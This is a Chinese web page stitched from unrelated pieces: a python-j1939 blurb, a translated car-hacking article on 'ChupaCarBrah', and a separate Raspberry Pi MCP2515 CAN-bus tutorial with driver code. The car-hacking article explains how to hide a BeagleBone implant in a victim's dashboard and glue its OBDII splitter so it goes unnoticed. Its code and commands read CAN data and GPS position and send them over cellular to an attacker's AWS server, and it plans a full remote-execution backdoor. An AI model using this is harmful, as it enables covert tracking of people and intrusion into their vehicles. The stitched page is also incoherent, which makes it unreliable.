精华内容
下载资源
问答
  • 这篇文章是关于我在使用开源软件和硬件(python-can / Flask和BeagleBone®Blue)进行汽车黑客攻击方面的经验。 很多人学习python,不知道从何学起。 很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例...

    本文会介绍一种基于Python用于从OBDII端口发送和接收CAN消息的设备,还可以从行驶中的车辆获取实时GPS坐标。所有的CAN和GPS数据都有可能被泄漏到云中,因此可以通过Web浏览器对汽车进行远程监控。这篇文章是关于我在使用开源软件和硬件(python-can / Flask和 BeagleBone®Blue) 进行汽车黑客攻击方面的经验。

    很多人学习python,不知道从何学起。
    很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
    很多已经做案例的人,却不知道如何去学习更加高深的知识。
    那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
    QQ群:101677771

     https://beagleboard.org/blue

    ChupaCarBrah间谍装置

    我创建了一个单独的 分步教程,介绍如何构建 本文将使用 的间谍设备 aka ChupaCarBrah。我还共享了在设备上运行的python-can客户端的所有代码;以及在AWS上运行的服务器端Flask应用程序。间谍设备的第一个版本能够跟踪车辆位置并监视CAN数据(例如,发动机RPM,空气温度,VIN等)。所有数据都通过添加到Beaglebone的蜂窝LTE调制解调器进行过滤,JSON格式用于将数据发送到AWS上的Flask应用程序。随着车辆的行驶,云中的JSON数据会实时更新,从而使你可以完全远程监控车辆,就可以在家中对汽车进行攻击了。

     https://youtu.be/7DfXmD9MddE

    ChupaCarBrah上路了

    作为本文的后续,我计划再发布两篇文章以扩展当前的ChupaCarBrah功能:

    第2部分— ECU CAN消息:将显示如何篡改直接连接到ECU的CAN总线(因为OBDII通常仅提供诊断数据)。我将集中精力对CAN消息进行逆向,以将精心制作的命令发送到ECU。出于安全原因,我计划仅分析无危害的命令,例如开锁门,打开电动窗等;

    第3部分-车辆RCE:我打算扩展ChupaCarBrah应用程序,以更加用户友好的格式显示正在运行中被窃取的所有数据,例如在地图上绘制的GPS数据。具有实时数据的GUI还将显示来自已解码CAN消息的当前车辆信息(速度,RPM等)。我还计划通过POST端点扩展AWS服务,这将允许通过蜂窝网络创建反向HTTP会话,从而将CAN命令提交给车辆。

    0x01 威胁建模

    通常,汽车制造商采用的威胁模型是通过在CAN总线和外部网络之间建立隔离来减少车辆的攻击面。分隔可以是物理的(空气间隙)或逻辑的(CAN网关/防火墙)。当确实需要连接CAN和外部网络(例如 V2V 或 IVI )时,网关通过仅沿一种方式转发CAN消息来提供逻辑隔离。

    用ChupaCarBrah建模

    采用该威胁模型的安全级别将直接取决于,对CAN总线进行物理访问的难度和利用外部连接上的漏洞进入CAN总线的难度。本文的目的是破解它,并以实用的方式展示攻击者可以物理访问车辆并安装ChupaCarbrah时可以采取的措施。间谍设备在隔离的CAN总线和互联网之间建立了桥梁,破坏了制造商的威胁模型。

    但是,要使用ChupaCarBrah进行完整的测试,你仍然需要将我在此处显示的内容与其他攻击技术(例如 按键欺骗) 结合起来,才能进入车辆内部。因此,我认为本文暴露的安全风险较低。但是我仍然想让制造商意识到制造商考虑 CAN消息加密解决方案 的重要性,并提醒车主注意无法完全控制车辆的物理通道的情况(例如,代客泊车,洗车,忘记锁门等)。

     https://youtu.be/bo04J5m1si0

    ChupaCarBrah安装:不到60秒

    一旦进入车内,攻击者就可以快速将ChupaCarBrah连接到OBDII端口,该设备足够小,可以隐藏在仪表板中。所使用的OBDII分离器电缆将在车辆原始连接器的前面提供一个额外的OBDII母连接器。如果攻击者非常狡猾,则可以使用胶水将分离器永久固定在OBDII端口上。这将使受害者最终可以将其他OBDII设备连接到车辆,而不必希望注意到红色的ChupaCarBrah设备。

    0x02 汽车黑客概述

    有研究者已经很好地分析了使用CAN( 控制器局域网 )进行汽车黑客攻击。如果你想更好地了解汽车供应商如何使用CAN总线来控制你的引擎和其他车辆部件,我建议你看一下 Craig Smith的 《 THE CAR HACKER'S HANDBOOK》 。

    我也推荐这篇非常好的文章: Jared Reabow的《如何使用CAN总线破解和升级你的汽车》 。它专门针对CAN,并提供了非常有用的提示,例如如何猜测波特率以及如何查找和接入车辆中的CAN总线。

    本文结合了两位作者提出的黑客技术。然后,我通过构建一个简单的BeagleBone间谍设备进一步分析,该设备可通过蜂窝网络与移动中的汽车进行远程交互,同时通过GPS跟踪车辆的位置。

    0x03 为什么选择BeagleBone Blue?

    长话短说:BeagleBone Blue已经支持CAN,包括CAN收发器。

    BeagleBone Blue嵌入式CAN收发器

    这意味着,你的电路板不需要额外的hat。基本上,你可以使用两条连接线并将BeagleBone的CAN Hi和CAN Lo引脚分别直接连接到汽车OBDII连接器上的6和14引脚。不仅如此,BeagleBone是一台完整的单板计算机,其 最新映像 已经预装了 SocketCan 。

    它还具有嵌入式WiFi网卡,可让你使用CAN工具,而无需将计算机物理连接到汽车上。它将使你可以将设备“嵌入”到汽车中,并使其完全脱离计算机运行。

    对于长距离连接,可以使用USB LTE调制解调器(将在下一部分中介绍)。

    因此,BeagleBone Blue板是汽车黑客的一个很好的选择,特别是当其他流行的工具(例如 CANtact) 在几乎所有美国分销商  都售罄时。如果不想使用开源,可以尝试使用诸如 Macchina.cc之类的 商业产品(我自己还没有尝试过,但是由于它也是基于 BeagleBoard的 ,因此我相信这里介绍的大部分内容仍然适用) 。

    0x04 编译ChupaCarBrah

    你所需的最少零件是 BeagleBone Blue , JST / SH连接器 和连接线,它们应按如下所示连接:

    BeagleBone Blue JST / SH连接器,具有连接到CAN插槽的连接线

    确保连接线足够长,以便可以将其正确连接到汽车的OBDII连接器。请记住,如果电线太长,则可能需要扭曲黄色和绿色(CAN Hi和Lo)以接近标准CAN电缆的性能。当然,你始终可以使用真实的 CAN电缆 代替连接线。

    BeagleBone Blue已连接到OBDII

    这将允许你启动BeagleBone,启动套接字CAN接口以发送和接收CAN消息。这就是开始入侵CAN所需的一切,但是,通过添加一些其他部件,你可以大大提高BeagleBone的能力,以创建完整的ChupaCarBrah间谍设备。我将所有分步说明放在 单独的文章中 来构建你的ChupaCarbrah,这样我就可以保持本文的简洁性,并专注于Python的黑客攻击。

    请参阅 ChupaCarBrah-Hackster.io上的BeagleBone和Python 进行 汽车黑客活动, 以获取有关如何创建支持GPS和蜂窝网络的完整间谍设备的完整详细信息。

    0x05 发送和接收CAN消息

    将BeagleBone连接到OBDII后,按电源按钮启动它,然后通过SSH连接到它。我建议尽可能 使用WiFi 。WIFI传输信息更快,你将在蜂窝数据计划上节省一些钱。你将需要打开点火开关,以便汽车的CAN设备也能“启动”。你可能需要启动引擎,以免损坏汽车的电池。

    在使用Python代码之前,请尝试使用socketCAN手动发送和接收一些消息。首先,为can0(可以为零)接口设置波特率并启用它。

     sudo ip link set can0 up type can bitrate 500000
     sudo ifconfig can0 up

    大多数汽车在OBDII总线上使用500kpbs,使用candump收听can0接口上的消息

     sudo candump can0

    根据你的车辆,你可能已经在总线上看到CAN消息。如果你的公交车很安静,请打开一个新终端,然后使用cansend发送一些消息:

     sudo cansend can0 7DF#0209020000000000

    你应该在运行candump的终端上看到该消息及其响应。如果没有,你可能需要检查接线和/或车辆使用的波特率。你刚刚发送的CAN消息将要求车辆的VIN号,并且响应应该类似于以下截图。

    用于获取车辆VIN的CAN消息

    VIN编号数据显示在最后3位“ 32 43 34”中,可以将其从十六进制解码为ASCII编码为“ 2C4”:

     echo “32 43 34” | xxd -r -p

    VIN数据格式如下:

    VIN数据格式

    如果将ASCII VIN提供给此 在线NHTSA工具 ,则可以解析你的车辆WMI(世界制造商标识符)并检查其准确性。以我为例,“ 2C4”表示我的车是加拿大制造的道奇车。

    既然你已经确认可以使用socketCAN向汽车发送和接收来自汽车的CAN消息,则可以使用Python进行编程:

     
     import can
     
     bus = can.interface.Bus(bustype='socketcan', channel='can0', bitrate=500000)
     
     service_int = int("9", 16)
     pid_int = int("2", 16)
     
     msg = can.Message(arbitration_id=0x7DF, data=[2, service_int, pid_int, 0, 0, 0, 0, 0], is_extended_id=False)
     try:
         bus.send(msg)
         response = bus.recv(timeout=2)
         print(response)
     except can.CanError:
         print("CAN error")
     finally:
         bus.shutdown()

    如果要尝试其他命令,请参考 此表, 并提供可用的可用OBDII PID列表。确保在Python脚本中为变量“ service_int”分配“模式(十六进制)”的整数值,并为变量“ pid_int”分配“ PID(十六进制)”变量的整数值。

    例如,如果要读取引擎RPM,请使用以下命令更改脚本的第5行和第6行:

     service_int = int(“1”, 16)
     pid_int = int(“0C”, 16)

    你可以 在此处 找到有关 OBDII PID的 更多文档。

    0x06 GPS坐标

    要获取GPS数据,只需从ChupaCarBrah设备运行“ tio”命令。

     tio / dev / ttyO2 -b 4800

    它会显示很多 GPS NMEA信息 ,但是我们只是为了获取地理位置,你只会对GPRMC 信息感兴趣。

    来自ChupaCarBrah的GPS数据

    你可以通过复制GPRMC 信息(如地理位置解码$ GPRMC,170454.000,A,3500.87097,N,10641.14163,W,0.00,171.40,100520 ,,, A * 79),这个 在线GPRMC工具 ,它将绘制你的在地图上的确切位置。

    GPS GPRMC地理位置在地图上绘制。

    你可以使用以下Python脚本检索GPS地理位置GPRMC数据:

     import time
     import serial
     
     gps_data = ""
     utf_data = ""
     ser = serial.Serial('/dev/ttyO2', 4800)
     counter = 0
     while utf_data.find("GPRMC") == -1:
         counter += 1
         try:
             ser_data = ser.readline()
             utf_data = ser_data.decode()
         except:
             utf_data = ""
         time.sleep(0.5)
         if counter > 50:
             break
     ser.close()
     if utf_data.find("GPRMC") != -1:
         utf_data = utf_data.replace('\r', '')
         utf_data = utf_data.replace('\n', '')
         gps_data = utf_data
     
     print(gps_data)

    Python代码可检索GPS地理位置坐标。

    0x07 连接到蜂窝网络

    我将全息图数据计划与Nova HOL-NOVA-R410蜂窝调制解调器一起使用,但是与BeagleBone兼容的任何其他运营商或蜂窝调制解调器都可以正常工作,只要你能够使用蜂窝数据连接到Internet就行。

    Hologram的优点是,它们提供了Python SDK。使用数据计划激活SIM卡并安装SDK之后,即可使用此Python脚本。它允许你通过手机以编程方式连接到Internet,并ping Google以检查连接性。

     import psutil
     import time
     import subprocess
     from Hologram.CustomCloud import CustomCloud
     
     
     def hologram_network_connect():
         hologram_network_disconnect()
         time.sleep(2)
         cloud = CustomCloud(None, network='cellular')
         cloud.network.disable_at_sockets_mode()
         res = cloud.network.connect()
         message = ""
         if res:
             message = "PPP session started"
         else:
             message = "Failed to start PPP"
     
         print(message)
     
     
     def hologram_network_disconnect():
         print('Checking for existing PPP sessions')
         for proc in psutil.process_iter():
     
             try:
                 pinfo = proc.as_dict(attrs=['pid', 'name'])
             except:
                 print("Failed to check for existing PPP sessions")
     
             if 'pppd' in pinfo['name']:
                 print('Found existing PPP session on pid: %s' % pinfo['pid'])
                 print('Killing pid %s now' % pinfo['pid'])
                 process = psutil.Process(pinfo['pid'])
                 process.terminate()
                 process.wait()
     
     
     hologram_network_connect()
     time.sleep(2)
     
     ping_response = subprocess.Popen(["/bin/ping", "-c1", "-w100", "www.google.com"], stdout=subprocess.PIPE).stdout.read()
     print(ping_response.decode())
     
     time.sleep(2)
     hologram_network_disconnect()

    Python代码将Hologram蜂窝模式连接到Internet。

    请参阅 Hackster.io 上的 ChupaCarBrah教程 ,以获取有关如何安装全息图调制解调器及其SDK的完整详细信息。

    0x08 提取数据

    首先,你将需要服务器将数据发送到。使用 Github上 可用的Python chupacarbrah_server.py代码,并将其作为服务部署在AWS上。

    下面是执行的命令:

     ~$ git clone https://github.com/blupants/chupacarbrah_server.git
     ~$ cd chupacarbrah_server
     ~$ cp chupacarbrah_server.py application.py
     ~$ source virt/bin/activate
     (virt) ~$ pip install flask==1.0.2
     (virt) ~$ pip freeze > requirements.txt
     (virt) ~$ deactivate
     ~$ python3 -m pip install awscli
     ~$ python3 -m pip install awsebcli
     ~$ eb init -p python-3.6 flask-chupacarbrah — region us-east-2
     ~$ $ eb init
     Do you want to set up SSH for your instances? (y/n): ySelect a keypair. 1) my-keypair 2) [ Create new KeyPair ]
     ~$ eb create chupacarbrah-env
     ~$ eb open

    如果你需要进一步的详细说明,请再次参考 Hackster.io 上的 ChupaCarBrah教程 。

    服务运行后,记下URL,以便你可以将脚本指向BeagleBone,以在那里发送数据。你可以通过curl发布一些虚拟数据来确认服务已启动并正在运行:

     SERVER_URL= curl — header “Content-Type: application/json” \
     — request POST \
     — data ‘{“car_uuid”:”51f317ec266e4adb956212201f87ba52", “VIN”: “2C4”, “maker”: “Generic”, “log”:{“timestamp”:”20200501120000",”GPS”:”00"}}’ \
     “$SERVER_URL/api/v1/cars”
     curl “$SERVER_URL/api/v1/status”

    在AWS上从ChupaCarBrah服务发布和获取虚拟数据

    确认AWS服务正常运行后,用SSH到BeagleBone并从 Github 克隆chupacarbrah。编辑 chupacarbrah.py 脚本,并使用上一步中的AWS服务URL 设置server_url变量。

     git clone  cd chupacarbrah
     sudo python3 chupacarbrah.py

    运行后,ChupaCarBrah客户端将使用 simple.csv 上启用的所有CAN命令,并将它们发送到CAN总线。响应将显示在标准输出上,并发送到/ tmp / chupacarbrah / log文件。每隔1分钟,它还会作为JSON发送到AWS服务。

    要停止它,请打开一个新终端(ssh会话)并运行:

     sudo touch /tmp/stop

    为了启用/禁用更多 OBDII PID命令 ,你可以通过在“启用”列上将要启用的所有命令设置为1,将要禁用的 命令设置为0 ,来编辑文件 obd2_std_PIDs_enabled.csv 。在启用其他命令之前,请确保你了解这些命令的功能,并知道自己在做什么。你刚刚克隆到BeagleBone的chupacarbrah github存储库上都提供了simple.csv和obd2_std_PIDs_enabled.csv文件。

    打开网络浏览器,并监视每分钟更新的JSON数据以及车辆的所有泄漏信息。

    来自AWS上ChupaCarBrah服务的样本JSON虚拟数据

    你可能需要刷新浏览器上的页面以更新显示的数据。由于它使用JSON格式,因此非常便于创建前端来使用它和/或将其与其他应用程序集成。

    至此,本系列的第一部分已经完成,一共是3篇文章。请继续关注下一部分,我将介绍ECU CAN消息并为ChupaCarBrah添加更多功能。最终目标是在车辆中创建一个完整的后门,并支持远程代码执行。

    展开全文
  • python-j1939 汽车工程师协会标准SAE J1939是在车辆部件之间进行通信和诊断的车辆总线推荐做法。 它起源于美国的汽车和重型卡车行业,现已在世界其他地区广泛使用。... can包为Python开发人员提供了控制器区
  • 基于树莓派3的CAN总线编程

    万次阅读 热门讨论 2016-09-08 10:16:13
    简介树莓派3使用Python控制SPI接口的MCP2515 CAN模块。实现命令行控制CAN的收发。

    简介

    树莓派3使用Python控制SPI接口的MCP2515 CAN模块。实现命令行控制CAN的收发。

    github地址
    接线图

    环境搭建

    1. Raspiberry Pi Model 3B 安装Raspbian,并使能SPI功能(默认关闭)
    2. python2.7
    3. spidev-3.2(如有更新,下载最新版本)
    4. MCP2515模块(SPI接口)

    使用说明

    共mcp2515.py和mcp2515_run.py两个文件,放在同一目录下,运行mcp2515_run.py。

    演示
    如上图所示,命令行支持如下命令:
    mcp -init //初始化,自动调用
    mcp -w 1 2 3 //发送数据,这里发送了3个字节:0x01,0x02,0x03
    mcp -r //读取接收缓冲区,示例中没有收到数据,为空
    help //帮助信息
    exit //退出命令行

    源代码

    mcp2515_run.py

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    import spidev,time
    import sys,cmd,shlex,types
    from mcp2515 import *
    
    spi = spidev.SpiDev(0,0)
    
    def mcp2515_reset():
        tmpc = [0xc0]
        spi.writebytes(tmpc)
    
    def mcp2515_writeReg(addr, val):
        buf = [0x02, addr, val]
        spi.writebytes(buf)
    
    def mcp2515_readReg(addr):
        buf = [0x03, addr, 0x55]
        buf = spi.xfer2(buf)
        return int(buf[2])
    
    def mcp2515_init():
        mcp2515_reset()
        time.sleep(2)
        #设置波特率为125Kbps
        #set CNF1,SJW=00,长度为1TQ,BRP=49,TQ=[2*(BRP+1)]/Fsoc=2*50/8M=12.5us
        mcp2515_writeReg(CNF1,CAN_125Kbps);
        #set CNF2,SAM=0,在采样点对总线进行一次采样,PHSEG1=(2+1)TQ=3TQ,PRSEG=(0+1)TQ=1TQ
        mcp2515_writeReg(CNF2,0x80|PHSEG1_3TQ|PRSEG_1TQ);
        #set CNF3,PHSEG2=(2+1)TQ=3TQ,同时当CANCTRL.CLKEN=1时设定CLKOUT引脚为时间输出使能位
        mcp2515_writeReg(CNF3,PHSEG2_3TQ);
    
        mcp2515_writeReg(TXB0SIDH,0xFF)#发送缓冲器0标准标识符高位
        mcp2515_writeReg(TXB0SIDL,0xEB)#发送缓冲器0标准标识符低位(第3位为发送拓展标识符使能位)
        mcp2515_writeReg(TXB0EID8,0xFF)#发送缓冲器0拓展标识符高位
        mcp2515_writeReg(TXB0EID0,0xFF)#发送缓冲器0拓展标识符低位
    
        mcp2515_writeReg(RXB0SIDH,0x00)#清空接收缓冲器0的标准标识符高位
        mcp2515_writeReg(RXB0SIDL,0x00)#清空接收缓冲器0的标准标识符低位
        mcp2515_writeReg(RXB0EID8,0x00)#清空接收缓冲器0的拓展标识符高位
        mcp2515_writeReg(RXB0EID0,0x00)#清空接收缓冲器0的拓展标识符低位
        mcp2515_writeReg(RXB0CTRL,0x40)#仅仅接收拓展标识符的有效信息
        mcp2515_writeReg(RXB0DLC,DLC_8)#设置接收数据的长度为8个字节
    
        mcp2515_writeReg(RXF0SIDH,0xFF)#配置验收滤波寄存器n标准标识符高位
        mcp2515_writeReg(RXF0SIDL,0xEB)#配置验收滤波寄存器n标准标识符低位(第3位为接收拓展标识符使能位)
        mcp2515_writeReg(RXF0EID8,0xFF)#配置验收滤波寄存器n拓展标识符高位
        mcp2515_writeReg(RXF0EID0,0xFF)#配置验收滤波寄存器n拓展标识符低位
    
        mcp2515_writeReg(RXM0SIDH,0xFF)#配置验收屏蔽寄存器n标准标识符高位
        mcp2515_writeReg(RXM0SIDL,0xE3)#配置验收屏蔽寄存器n标准标识符低位
        mcp2515_writeReg(RXM0EID8,0xFF)#配置验收滤波寄存器n拓展标识符高位
        mcp2515_writeReg(RXM0EID0,0xFF)#配置验收滤波寄存器n拓展标识符低位
    
        mcp2515_writeReg(CANINTF,0x00)#清空CAN中断标志寄存器的所有位(必须由MCU清空)
        mcp2515_writeReg(CANINTE,0x01)#配置CAN中断使能寄存器的接收缓冲器0满中断使能,其它位禁止中断
    
        mcp2515_writeReg(CANCTRL,REQOP_NORMAL|CLKOUT_ENABLED)#将MCP2515设置为正常模式,退出配置模式
    
        #tmpc = mcp2515_readReg(CANSTAT)#读取CAN状态寄存器的值
        #tmpd = int(tmpc[0]) & 0xe0
        #if OPMODE_NORMAL!=tmpd:#判断MCP2515是否已经进入正常模式
        #    mcp2515_writeReg(CANCTRL,REQOP_NORMAL|CLKOUT_ENABLED)#再次将MCP2515设置为XX模式,退出配置模式
        print '\r\nMCP2515 Initialized.\r\n'
    
    
    def mcp2515_write(buf):
        for i in range(50):
            time.sleep(2) #通过软件延时约nms(不准确)
            if not mcp2515_readReg(TXB0CTRL)&0x08:#快速读某些状态指令,等待TXREQ标志清零
                break
        N = len(buf)
        for j in range(N):
            mcp2515_writeReg(TXB0D0+j,buf[j])#将待发送的数据写入发送缓冲寄存器
    
        mcp2515_writeReg(TXB0DLC,N)#将本帧待发送的数据长度写入发送缓冲器0的发送长度寄存器
        mcp2515_writeReg(TXB0CTRL,0x08)#请求发送报文
    
    def mcp2515_read():
        N = 0
        buf = []
        if mcp2515_readReg(CANINTF) & 0x01:
            N = mcp2515_readReg(RXB0DLC)#读取接收缓冲器0接收到的数据长度(0~8个字节)
            for i in range(N):
                buf.append(mcp2515_readReg(RXB0D0+i))#把CAN接收到的数据放入指定缓冲区
        mcp2515_writeReg(CANINTF,0)#清除中断标志位(中断标志寄存器必须由MCU清零)
        return buf
    
    class MyCmd(cmd.Cmd):
        def __init__(self):
            cmd.Cmd.__init__(self)
            self.prompt='wyq@rpi2 ~ $ '
            mcp2515_init()
    
        def emptyline(self):
            pass
    
        def do_test(self,arg):
            lex = shlex.shlex(arg)
            for x in lex:
                print x
    
        def do_exit(self,arg):
            return True
    
        def do_mcp(self,arg):
            lex = shlex.shlex(arg)
            try:
                for x in lex:
                    if x=='-':
                        opt = lex.next()
                        if opt.lower()=='init':
                            mcp2515_init()
                        elif opt.lower()=='w':
                            buf = []
                            for i in lex:
                                buf.append(int(i))
                            mcp2515_write(buf)
                        elif opt.lower()=='r':
                            buf = mcp2515_read()
                            print 'Received:',len(buf)
                            for i in buf:
                                print hex(int(i))
                        else:
                            pass
            except BaseException, e:
                print e
    
        def do_help(self,arg):
            print '基于MCP2515的CAN收发控制器'
            print 'Author:汪永强 QQ:917888229 Date:2016-8-18'
            print '发送指令: mcp -w XX YY ZZ'
            print '接收指令: mcp -r'
            print '重初始化: mcp -init'
    
    
    if __name__=='__main__':
        mycmd = MyCmd()
        mycmd.cmdloop()
    

    mcp2515.py

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    #/* Configuration Registers */
    CANSTAT         = 0x0E
    CANCTRL         = 0x0F
    BFPCTRL         = 0x0C
    TEC             = 0x1C
    REC             = 0x1D
    CNF3            = 0x28
    CNF2            = 0x29
    CNF1            = 0x2A
    CANINTE         = 0x2B
    CANINTF         = 0x2C
    EFLG            = 0x2D
    TXRTSCTRL       = 0x0D
    
    #/*  Recieve Filters */
    RXF0SIDH        = 0x00
    RXF0SIDL        = 0x01
    RXF0EID8        = 0x02
    RXF0EID0        = 0x03
    RXF1SIDH        = 0x04
    RXF1SIDL        = 0x05
    RXF1EID8        = 0x06
    RXF1EID0        = 0x07
    RXF2SIDH        = 0x08
    RXF2SIDL        = 0x09
    RXF2EID8        = 0x0A
    RXF2EID0        = 0x0B
    RXF3SIDH        = 0x10
    RXF3SIDL        = 0x11
    RXF3EID8        = 0x12
    RXF3EID0        = 0x13
    RXF4SIDH        = 0x14
    RXF4SIDL        = 0x15
    RXF4EID8        = 0x16
    RXF4EID0        = 0x17
    RXF5SIDH        = 0x18
    RXF5SIDL        = 0x19
    RXF5EID8        = 0x1A
    RXF5EID0        = 0x1B
    
    #/* Receive Masks */
    RXM0SIDH        = 0x20
    RXM0SIDL        = 0x21
    RXM0EID8        = 0x22
    RXM0EID0        = 0x23
    RXM1SIDH        = 0x24
    RXM1SIDL        = 0x25
    RXM1EID8        = 0x26
    RXM1EID0        = 0x27
    
    #/* Tx Buffer 0 */
    TXB0CTRL        = 0x30
    TXB0SIDH        = 0x31
    TXB0SIDL        = 0x32
    TXB0EID8        = 0x33
    TXB0EID0        = 0x34
    TXB0DLC         = 0x35
    TXB0D0          = 0x36
    TXB0D1          = 0x37
    TXB0D2          = 0x38
    TXB0D3          = 0x39
    TXB0D4          = 0x3A
    TXB0D5          = 0x3B
    TXB0D6          = 0x3C
    TXB0D7          = 0x3D
    
    #/* Tx Buffer 1 */
    TXB1CTRL        = 0x40
    TXB1SIDH        = 0x41
    TXB1SIDL        = 0x42
    TXB1EID8        = 0x43
    TXB1EID0        = 0x44
    TXB1DLC         = 0x45
    TXB1D0          = 0x46
    TXB1D1          = 0x47
    TXB1D2          = 0x48
    TXB1D3          = 0x49
    TXB1D4          = 0x4A
    TXB1D5          = 0x4B
    TXB1D6          = 0x4C
    TXB1D7          = 0x4D
    
    #/* Tx Buffer 2 */
    TXB2CTRL        = 0x50
    TXB2SIDH        = 0x51
    TXB2SIDL        = 0x52
    TXB2EID8        = 0x53
    TXB2EID0        = 0x54
    TXB2DLC         = 0x55
    TXB2D0          = 0x56
    TXB2D1          = 0x57
    TXB2D2          = 0x58
    TXB2D3          = 0x59
    TXB2D4          = 0x5A
    TXB2D5          = 0x5B
    TXB2D6          = 0x5C
    TXB2D7          = 0x5D
    
    #/* Rx Buffer 0 */
    RXB0CTRL        = 0x60
    RXB0SIDH        = 0x61
    RXB0SIDL        = 0x62
    RXB0EID8        = 0x63
    RXB0EID0        = 0x64
    RXB0DLC         = 0x65
    RXB0D0          = 0x66
    RXB0D1          = 0x67
    RXB0D2          = 0x68
    RXB0D3          = 0x69
    RXB0D4          = 0x6A
    RXB0D5          = 0x6B
    RXB0D6          = 0x6C
    RXB0D7          = 0x6D
    
    #/* Rx Buffer 1 */
    RXB1CTRL        = 0x70
    RXB1SIDH        = 0x71
    RXB1SIDL        = 0x72
    RXB1EID8        = 0x73
    RXB1EID0        = 0x74
    RXB1DLC         = 0x75
    RXB1D0          = 0x76
    RXB1D1          = 0x77
    RXB1D2          = 0x78
    RXB1D3          = 0x79
    RXB1D4          = 0x7A
    RXB1D5          = 0x7B
    RXB1D6          = 0x7C
    RXB1D7          = 0x7D
    
    
    #/*******************************************************************
    # *               Bit register masks                                *
    # *******************************************************************/
    
    #/* TXBnCTRL */
    TXREQ           = 0x08
    TXP             = 0x03
    
    #/* RXBnCTRL */
    RXM             = 0x60
    BUKT            = 0x04
    
    #/* CANCTRL */
    REQOP           = 0xE0
    ABAT            = 0x10
    OSM             = 0x08
    CLKEN           = 0x04
    CLKPRE          = 0x03
    
    #/* CANSTAT */
    REQOP           = 0xE0
    ICOD            = 0x0E
    
    #/* CANINTE */
    RX0IE           = 0x01
    RX1IE           = 0x02
    TX0IE           = 0x04
    TX1IE           = 0x80
    TX2IE           = 0x10
    ERRIE           = 0x20
    WAKIE           = 0x40
    MERRE           = 0x80
    
    #/* CANINTF */
    RX0IF           = 0x01
    RX1IF           = 0x02
    TX0IF           = 0x04
    TX1IF           = 0x80
    TX2IF           = 0x10
    ERRIF           = 0x20
    WAKIF           = 0x40
    MERRF           = 0x80
    
    #/* BFPCTRL */
    B1BFS           = 0x20
    B0BFS           = 0x10
    B1BFE           = 0x08
    B0BFE           = 0x04
    B1BFM           = 0x02
    B0BFM           = 0x01
    
    #/* CNF1 Masks */
    SJW             = 0xC0
    BRP             = 0x3F
    
    #/* CNF2 Masks */
    BTLMODE         = 0x80
    SAM             = 0x40
    PHSEG1          = 0x38
    PRSEG           = 0x07
    
    #/* CNF3 Masks */
    WAKFIL          = 0x40
    PHSEG2          = 0x07
    
    #/* TXRTSCTRL Masks */
    TXB2RTS         = 0x04
    TXB1RTS         = 0x02
    TXB0RTS         = 0x01
    
    
    #/*******************************************************************
    # *                    Bit Timing Configuration                     *
    # *******************************************************************/
    
    #/* CNF1 */
    SJW_1TQ         = 0x40
    SJW_2TQ         = 0x80
    SJW_3TQ         = 0x90
    SJW_4TQ         = 0xC0
    
    #/* CNF2 */
    BTLMODE_CNF3    = 0x80
    BTLMODE_PH1_IPT = 0x00
    
    SMPL_3X         = 0x40
    SMPL_1X         = 0x00
    
    PHSEG1_8TQ      = 0x38
    PHSEG1_7TQ      = 0x30
    PHSEG1_6TQ      = 0x28
    PHSEG1_5TQ      = 0x20
    PHSEG1_4TQ      = 0x18
    PHSEG1_3TQ      = 0x10
    PHSEG1_2TQ      = 0x08
    PHSEG1_1TQ      = 0x00
    
    PRSEG_8TQ       = 0x07
    PRSEG_7TQ       = 0x06
    PRSEG_6TQ       = 0x05
    PRSEG_5TQ       = 0x04
    PRSEG_4TQ       = 0x03
    PRSEG_3TQ       = 0x02
    PRSEG_2TQ       = 0x01
    PRSEG_1TQ       = 0x00
    
    #/* CNF3 */
    PHSEG2_8TQ      = 0x07
    PHSEG2_7TQ      = 0x06
    PHSEG2_6TQ      = 0x05
    PHSEG2_5TQ      = 0x04
    PHSEG2_4TQ      = 0x03
    PHSEG2_3TQ      = 0x02
    PHSEG2_2TQ      = 0x01
    PHSEG2_1TQ      = 0x00
    
    SOF_ENABLED     = 0x80
    WAKFIL_ENABLED  = 0x40
    WAKFIL_DISABLED = 0x00
    
    
    #/*******************************************************************
    # *                  Control/Configuration Registers                *
    # *******************************************************************/
    
    #/* CANINTE */
    RX0IE_ENABLED   = 0x01
    RX0IE_DISABLED  = 0x00
    RX1IE_ENABLED   = 0x02
    RX1IE_DISABLED  = 0x00
    G_RXIE_ENABLED  = 0x03
    G_RXIE_DISABLED = 0x00
    
    TX0IE_ENABLED   = 0x04
    TX0IE_DISABLED  = 0x00
    TX1IE_ENABLED   = 0x08
    TX2IE_DISABLED  = 0x00
    TX2IE_ENABLED   = 0x10
    TX2IE_DISABLED  = 0x00
    G_TXIE_ENABLED  = 0x1C
    G_TXIE_DISABLED = 0x00
    
    ERRIE_ENABLED   = 0x20
    ERRIE_DISABLED  = 0x00
    WAKIE_ENABLED   = 0x40
    WAKIE_DISABLED  = 0x00
    IVRE_ENABLED    = 0x80
    IVRE_DISABLED   = 0x00
    
    #/* CANINTF */
    RX0IF_SET       = 0x01
    RX0IF_RESET     = 0x00
    RX1IF_SET       = 0x02
    RX1IF_RESET     = 0x00
    TX0IF_SET       = 0x04
    TX0IF_RESET     = 0x00
    TX1IF_SET       = 0x08
    TX2IF_RESET     = 0x00
    TX2IF_SET       = 0x10
    TX2IF_RESET     = 0x00
    ERRIF_SET       = 0x20
    ERRIF_RESET     = 0x00
    WAKIF_SET       = 0x40
    WAKIF_RESET     = 0x00
    IVRF_SET        = 0x80
    IVRF_RESET      = 0x00
    
    #/* CANCTRL */ 
    REQOP_CONFIG    = 0x80
    REQOP_LISTEN    = 0x60
    REQOP_LOOPBACK  = 0x40
    REQOP_SLEEP     = 0x20
    REQOP_NORMAL    = 0x00
    
    ABORT           = 0x10
    
    OSM_ENABLED     = 0x08
    
    CLKOUT_ENABLED  = 0x04
    CLKOUT_DISABLED = 0x00
    CLKOUT_PRE_8    = 0x03
    CLKOUT_PRE_4    = 0x02
    CLKOUT_PRE_2    = 0x01
    CLKOUT_PRE_1    = 0x00
    
    #/* CANSTAT */
    OPMODE_CONFIG   = 0x80
    OPMODE_LISTEN   = 0x60
    OPMODE_LOOPBACK = 0x40
    OPMODE_SLEEP    = 0x20
    OPMODE_NORMAL   = 0x00
    
    
    #/* RXBnCTRL */
    RXM_RCV_ALL     = 0x60
    RXM_VALID_EXT   = 0x40
